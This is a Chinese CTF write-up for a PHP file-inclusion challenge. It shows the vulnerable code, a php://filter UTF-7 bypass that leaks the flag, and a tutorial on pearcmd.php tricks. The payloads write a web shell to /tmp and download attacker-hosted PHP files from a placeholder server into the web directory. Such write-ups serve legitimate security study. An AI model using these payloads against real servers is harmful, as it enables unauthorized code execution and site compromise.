<?php | |
highlight_file(__FILE__); | |
// FLAG in the flag.php | |
$file = $_GET['file']; | |
if(isset($file) && !preg_match('/base|rot/i',$file)){ | |
@include($file); | |
}else{ | |
die("nope"); | |
} | |
?> |
convert.iconv.* 过滤器,语法为
convert.iconv.<input-encoding>.<output-encoding>
或
convert.iconv.<input-encoding>/<output-encoding> (两种写法的语义都相同)。
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
这里构造
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
+ADw?php //flag+AHs-d9c5b463-4d11-4acc-9ebe-9e61a2388871+AH0
flag{d9c5b463-4d11-4acc-9ebe-9e61a2388871}
参考链接:https://blog.csdn.net/qq_66013948/article/details/134193451
这个还只是一个非预期解:
可以利用 pearcmd 进行写文件操作:
直接 payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
直接?file=/tmp/hello.php
直接出了
pearcmd 文件包含:
# 简介
pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 pear 是 pecl 依赖的类库。在 7.3 及以前,pecl/pear 是默认安装的;
在 7.4 及以后,需要我们在编译 PHP 的时候指定 —with-pear 才会安装。
不过,在 Docker 任意版本镜像中,pcel/pear 都会被默认安装,安装的路径在 /usr/local/lib/php
。
要利用这个 pearcmd.php
需要满足几个条件:
- 要开启 register_argc_argv, 这个选项在 Docker 中使自动开启的
- 要有文件包含的利用
现在大部分 CTF 的环境都是利用 docker 搭建的,而现在的 PHP 题目的版本很大部分在 7.4 以上,所以这个利用的范围还是挺大的,可以试试。
# 利用
环境就先使用 php7.4 进行测试
HTTP 数据包中的 query-string 会被作为 argv
, 在 docker 下复现 pearcmd 应该是可行的,当然默认也存在 pearcmd。
# config-create
利用 payload:
复制成功?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
文件包含的点是 ?file=
成功写入文件
使用的是 PEAR_Config
的形式,方法来自 p 神博客。
# install
还有 install
形式
pear install http://xxxx/test.php
就可以下载 php 文件,还可以用 --installroot
指定目录,这样可以构造 payload:
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php
这个 payload 会将文件下载到网站目录的 &file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/
文件夹下,构造非常巧妙,访问时需要 url 编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:
?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php
这个 payload 会将文件下载到 /tmp/testinstall/tmp/pear/download
下,当然还有别的形式:
?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php
这个 payload 会将文件下载到 /tmp/pear/download
下。
# download
还有 dowanload
形式,参考了:关于利用 pearcmd 进行文件包含的一些总结 | W4rsp1t3’s blog
非常聪明的构造:
?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php
原命令是 pear download url
,和之前的 install 一样, &file=/usr/local/lib/php/pearcmd.php
这一部分会被加入 pear
执行的参数中,在我们的服务器上构造会返回恶意代码的 url: test1.php&file=/usr/local/lib/php/pearcmd.php
即可。
可以将文件写到当前网站目录下。
当然可能还有别的利用手段需要进一步挖掘。